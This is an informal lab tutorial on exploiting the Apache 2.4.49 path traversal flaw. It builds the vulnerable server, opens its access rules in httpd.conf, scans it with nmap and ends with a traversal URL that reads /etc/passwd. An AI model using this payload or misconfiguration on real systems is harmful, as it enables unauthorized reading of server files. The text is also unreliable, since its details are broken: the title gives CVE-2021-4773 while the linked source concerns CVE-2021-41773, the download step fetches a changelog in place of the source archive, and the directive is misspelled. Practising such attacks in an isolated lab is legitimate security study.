CVE-2021-4773

this is a practice example of how exploit vulnerability CVE-2021-4773 with a virtual machine

for this tutorial you need the next

• virtual machine as kali linux
• virtual machine as ubuntu server
• install apache version 2.4.49

so lets started when you have 2 virtual machines running you will be install apache version 2.4.49 with a archive repository you can found the version this https://archive.apache.org/dist/httpd/CHANGES_2.4.49

Install and configurate vulnerability version in ubuntu server

1 the fisrt time in your virtual machine server need to run the follow command

curl -k -L -s --compressed https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2  or wget https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2 

2 the second time you need unzip this version from apache like this

tar -xvjf httpd-2.4.49.tar.bz2

3 install the following package

sudo apt install build-essential libpcre3 libpcre3-dev libapr1-dev libaprutil1-dev libssl-dev

4 running execute file in the main directory (file name configure) use flag to specify install directory

./configure --prefix=/usr/local/apache2

5 compile the vulnerability versión

make

6 install the vulnerability versión

make install

7 review the version

ls /usr/local/apache2

8 start the proccess

/usr/local/apache2/bin/apachectl start
  

9 verify the procees

ps aux | grep httpd

10 configure the vulnerability find the file /usr/local/apache2/conf/httpd.conf and configure the directory admin find the tag directory and change Require all denied to

  Required all granted
  

find the tag Files .ht* Required all denied to

  Required all granted

the fisrt change is to the exploit vulnerability in the local environment and the second is the expose in the real envionment

Exploit vulnerability in kali linux

1 scann the ip addrees with nmap with the next command

nmap -sV ip_address

2 make a curl or get tho test the apache server

curl ip_address or make wget ip_address

3 review how to exploit the vulnerability in the next page if you want to understand the sintax

https://www.picussecurity.com/resource/blog/simulate-apache-cve-2021-41773-exploits-vulnerability

or just use the next payload

http://$host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd